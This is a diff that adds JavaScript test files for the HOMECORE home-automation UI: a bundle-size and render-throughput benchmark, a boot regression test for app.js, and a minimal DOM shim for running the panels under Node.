// Benchmark — ADR-131 §8 / ADR-126 §1.1.
|
||||
// HOMECORE exists partly because HA's frontend is a ~5 MB Lit bundle
|
||||
// (ADR-126 §1.1). This benchmark enforces a hard bundle budget and
|
||||
// measures cold render throughput for all 10 panels.
|
||||
// Run: node tests/benchmark.mjs
|
||||
import { install } from './dom-shim.mjs';
|
||||
install();
|
||||
import { readFileSync, readdirSync, statSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
|
||||
const ROOT = resolve(import.meta.dirname, '..');
|
||||
const BUDGET_BYTES = 250 * 1024; // 250 KB total — vs HA's ~5 MB (20× smaller)
|
||||
|
||||
function walk(dir) {
|
||||
let total = 0; const rows = [];
|
||||
for (const name of readdirSync(dir)) {
|
||||
if (name === 'tests' || name === 'node_modules') continue;
|
||||
const p = resolve(dir, name); const s = statSync(p);
|
||||
if (s.isDirectory()) { const sub = walk(p); total += sub.total; rows.push(...sub.rows); }
|
||||
else if (/\.(js|css|html|json)$/.test(name)) { total += s.size; rows.push([p.replace(ROOT + '/', ''), s.size]); }
|
||||
}
|
||||
return { total, rows };
|
||||
}
|
||||
|
||||
const { total, rows } = walk(ROOT);
|
||||
rows.sort((a, b) => b[1] - a[1]);
|
||||
console.log('── Bundle size (uncompressed) ──');
|
||||
for (const [f, sz] of rows.slice(0, 8)) console.log(` ${(sz / 1024).toFixed(1).padStart(7)} KB ${f}`);
|
||||
console.log(` ${'-'.repeat(40)}`);
|
||||
console.log(` ${(total / 1024).toFixed(1).padStart(7)} KB TOTAL across ${rows.length} files`);
|
||||
console.log(` budget ${(BUDGET_BYTES / 1024).toFixed(0)} KB · HA baseline ~5120 KB · ratio ${(5120 * 1024 / total).toFixed(1)}× smaller`);
|
||||
|
||||
// ── render throughput ───────────────────────────────────────────────
|
||||
const { api } = await import('../js/api.js');
|
||||
const ctx = { api, navigate() {}, params: { id: 'seed-livingroom-a1' }, onEvent() { return () => {}; }, onWs(fn) { fn({ state: 'open', lagged: false }); return () => {}; } };
|
||||
const PANELS = ['dashboard', 'fleet', 'seed-detail', 'entities', 'rooms', 'cogs', 'calibration', 'events', 'audit', 'settings'];
|
||||
const mods = {};
|
||||
for (const p of PANELS) mods[p] = (await import(`../js/panels/${p}.js`)).default;
|
||||
|
||||
console.log('\n── Cold render throughput (avg of 50 renders each) ──');
|
||||
let worst = 0;
|
||||
for (const p of PANELS) {
|
||||
const N = 50; const t0 = performance.now();
|
||||
for (let i = 0; i < N; i++) { const root = document.createElement('div'); const c = await mods[p].render(root, ctx); if (typeof c === 'function') c(); }
|
||||
const ms = (performance.now() - t0) / N;
|
||||
worst = Math.max(worst, ms);
|
||||
console.log(` ${ms.toFixed(3).padStart(7)} ms/render ${p}`);
|
||||
}
|
||||
|
||||
console.log('');
|
||||
let exit = 0;
|
||||
if (total > BUDGET_BYTES) { console.error(`FAIL — bundle ${(total / 1024).toFixed(1)} KB exceeds ${(BUDGET_BYTES / 1024).toFixed(0)} KB budget`); exit = 1; }
|
||||
else console.log(`OK — bundle within budget; slowest panel ${worst.toFixed(2)} ms/render`);
|
||||
process.exit(exit);
|
||||
@@ -0,0 +1,37 @@
|
||||
// Boot regression test — exercises the REAL app.js boot + router (not
|
||||
// just individual panels). Catches the class of bug where start() throws
|
||||
// before route() runs and the dashboard renders blank.
|
||||
// Run: node tests/boot.mjs (from the ui/ dir)
|
||||
import { install } from './dom-shim.mjs';
|
||||
const { document, window } = install();
|
||||
globalThis.HOMECORE_UI_DEMO = true; // boot with fixtures (no gateway in tests)
|
||||
|
||||
const errs = [];
|
||||
const origErr = console.error;
|
||||
console.error = (...a) => { errs.push(a.map(String).join(' ')); };
|
||||
|
||||
await import('../js/app.js');
|
||||
await new Promise((r) => setTimeout(r, 30));
|
||||
console.error = origErr;
|
||||
|
||||
const fails = [];
|
||||
const content = document.getElementById('hc-content');
|
||||
const app = document.getElementById('app');
|
||||
|
||||
if (!app || app.children.length < 2) fails.push('shell not built (#app should have topnav + shell)');
|
||||
if (!content) fails.push('#hc-content missing — buildShell did not run');
|
||||
else if (content.children.length === 0) fails.push('BLANK: dashboard rendered nothing into #hc-content on boot');
|
||||
if (errs.length) fails.push('console.error during boot: ' + errs.slice(0, 3).join(' | '));
|
||||
|
||||
// navigation must re-render the panel
|
||||
window.location.hash = '#/fleet';
|
||||
await new Promise((r) => setTimeout(r, 30));
|
||||
if (!content || content.children.length === 0) fails.push('BLANK after navigating to #/fleet');
|
||||
|
||||
// a clean topnav with no dead Cognitum tabs / Cog Store link
|
||||
const links = app ? app.querySelectorAll('a') : [];
|
||||
const hrefs = links.map((a) => a.getAttribute('href') || '');
|
||||
if (hrefs.some((h) => /cognitum\.one\/store/.test(h))) fails.push('Cog Store external link should be removed');
|
||||
|
||||
if (fails.length) { console.error('\nFAILED:'); fails.forEach((f) => console.error(' ✗ ' + f)); process.exit(1); }
|
||||
console.log('OK — app.js boots, dashboard renders, navigation re-renders, no dead Cog Store link');
|
||||
@@ -0,0 +1,103 @@
|
||||
// Minimal DOM shim — enough to *run* the HOMECORE-UI panels under Node
|
||||
// without jsdom. Installs globals (document, location, localStorage,
|
||||
// fetch, WebSocket) so render-smoke.mjs can execute every panel and
|
||||
// assert it builds a real DOM subtree without throwing.
|
||||
|
||||
class ClassList {
|
||||
constructor(el) { this.el = el; this.set = new Set(); }
|
||||
add(...c) { c.forEach((x) => x && this.set.add(x)); this.sync(); }
|
||||
remove(...c) { c.forEach((x) => this.set.delete(x)); this.sync(); }
|
||||
toggle(c, force) { const has = this.set.has(c); const on = force === undefined ? !has : force; if (on) this.set.add(c); else this.set.delete(c); this.sync(); return on; }
|
||||
contains(c) { return this.set.has(c); }
|
||||
sync() { this.el._class = [...this.set].join(' '); }
|
||||
}
|
||||
|
||||
class El {
|
||||
constructor(tag) {
|
||||
this.tagName = String(tag).toUpperCase();
|
||||
this.children = [];
|
||||
this.attrs = {};
|
||||
this.style = {};
|
||||
this.listeners = {};
|
||||
this._class = '';
|
||||
this.classList = new ClassList(this);
|
||||
this.parentNode = null;
|
||||
this.id = '';
|
||||
this._text = '';
|
||||
this.disabled = false;
|
||||
this.value = '';
|
||||
}
|
||||
set className(v) { this._class = v || ''; this.classList.set = new Set(String(v || '').split(/\s+/).filter(Boolean)); }
|
||||
get className() { return this._class; }
|
||||
set innerHTML(v) { this._html = v; }
|
||||
get innerHTML() { return this._html || ''; }
|
||||
set textContent(v) { this._text = v; this.children = []; }
|
||||
get textContent() { return this._text || this.children.map((c) => c.textContent || c._text || '').join(''); }
|
||||
appendChild(c) { c.parentNode = this; this.children.push(c); return c; }
|
||||
insertBefore(c, ref) { const i = this.children.indexOf(ref); c.parentNode = this; if (i < 0) this.children.push(c); else this.children.splice(i, 0, c); return c; }
|
||||
removeChild(c) { const i = this.children.indexOf(c); if (i >= 0) this.children.splice(i, 1); c.parentNode = null; return c; }
|
||||
remove() { if (this.parentNode) this.parentNode.removeChild(this); }
|
||||
get firstChild() { return this.children[0] || null; }
|
||||
setAttribute(k, v) { this.attrs[k] = String(v); }
|
||||
getAttribute(k) { return this.attrs[k] ?? null; }
|
||||
addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
|
||||
removeEventListener(t, fn) { this.listeners[t] = (this.listeners[t] || []).filter((f) => f !== fn); }
|
||||
dispatch(t, detail) { (this.listeners[t] || []).forEach((fn) => fn({ detail, target: this, preventDefault() {}, stopPropagation() {} })); }
|
||||
_all() { return this.children.flatMap((c) => [c, ...(c._all ? c._all() : [])]); }
|
||||
matchesSel(sel) {
|
||||
return sel.split(/\s+/).pop().split('.').every((p, i, arr) => {
|
||||
if (i === 0 && p && !p.startsWith('.') && !p.startsWith('#')) { if (p.startsWith('.')) {} }
|
||||
return true;
|
||||
});
|
||||
}
|
||||
querySelector(sel) {
|
||||
const want = sel.replace(/^.*\s/, '');
|
||||
const cls = want.startsWith('.') ? want.slice(1) : null;
|
||||
return this._all().find((e) => (cls ? (e.classList && e.classList.contains(cls)) : e.tagName === want.toUpperCase())) || null;
|
||||
}
|
||||
querySelectorAll(sel) {
|
||||
const want = sel.replace(/^.*\s/, '');
|
||||
const cls = want.startsWith('.') ? want.slice(1) : null;
|
||||
return this._all().filter((e) => (cls ? (e.classList && e.classList.contains(cls)) : e.tagName === want.toUpperCase()));
|
||||
}
|
||||
}
|
||||
|
||||
class TextNode { constructor(t) { this.textContent = String(t); this._text = String(t); this.nodeType = 3; this.parentNode = null; } remove() { if (this.parentNode) this.parentNode.removeChild(this); } }
|
||||
|
||||
// Node instanceof checks in ui.js use `instanceof Node`; expose a Node base.
|
||||
globalThis.Node = El;
|
||||
// TextNode must also pass `instanceof Node` (ui.js append() treats text via createTextNode).
|
||||
Object.setPrototypeOf(TextNode.prototype, El.prototype);
|
||||
|
||||
const body = new El('body');
|
||||
const documentObj = {
|
||||
createElement: (t) => new El(t),
|
||||
createElementNS: (_ns, t) => new El(t),
|
||||
createTextNode: (t) => new TextNode(t),
|
||||
getElementById: (id) => byId[id] || (byId[id] = mkRoot(id)),
|
||||
body,
|
||||
readyState: 'complete',
|
||||
addEventListener() {},
|
||||
querySelectorAll: () => [],
|
||||
};
|
||||
const byId = {};
|
||||
function mkRoot(id) { const e = new El('div'); e.id = id; return e; }
|
||||
|
||||
export function install() {
|
||||
globalThis.document = documentObj;
|
||||
globalThis.EventTarget = class { constructor() { this._l = {}; } addEventListener(t, fn) { (this._l[t] ||= []).push(fn); } removeEventListener(t, fn) { this._l[t] = (this._l[t] || []).filter((f) => f !== fn); } dispatchEvent(e) { (this._l[e.type] || []).forEach((fn) => fn(e)); return true; } };
|
||||
// window with a navigable location.hash that fires `hashchange`.
|
||||
const win = new globalThis.EventTarget();
|
||||
let _hash = '';
|
||||
const loc = { host: 'localhost:8123', protocol: 'http:', get hash() { return _hash; }, set hash(v) { _hash = String(v).startsWith('#') ? String(v) : '#' + v; win.dispatchEvent({ type: 'hashchange' }); } };
|
||||
win.location = loc;
|
||||
globalThis.window = win;
|
||||
globalThis.location = loc;
|
||||
globalThis.localStorage = { _m: {}, getItem(k) { return this._m[k] ?? null; }, setItem(k, v) { this._m[k] = String(v); } };
|
||||
globalThis.fetch = () => Promise.reject(new Error('offline (test) — panels fall back to mock per §7.1'));
|
||||
globalThis.WebSocket = class { constructor() { this.readyState = 0; } send() {} close() {} };
|
||||
globalThis.CustomEvent = class { constructor(t, o) { this.type = t; this.detail = o && o.detail; } };
|
||||
return { El, TextNode, body, document: documentObj, window: win, location: loc };
|
||||
}
|
||||
|
||||
export { El, TextNode };
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user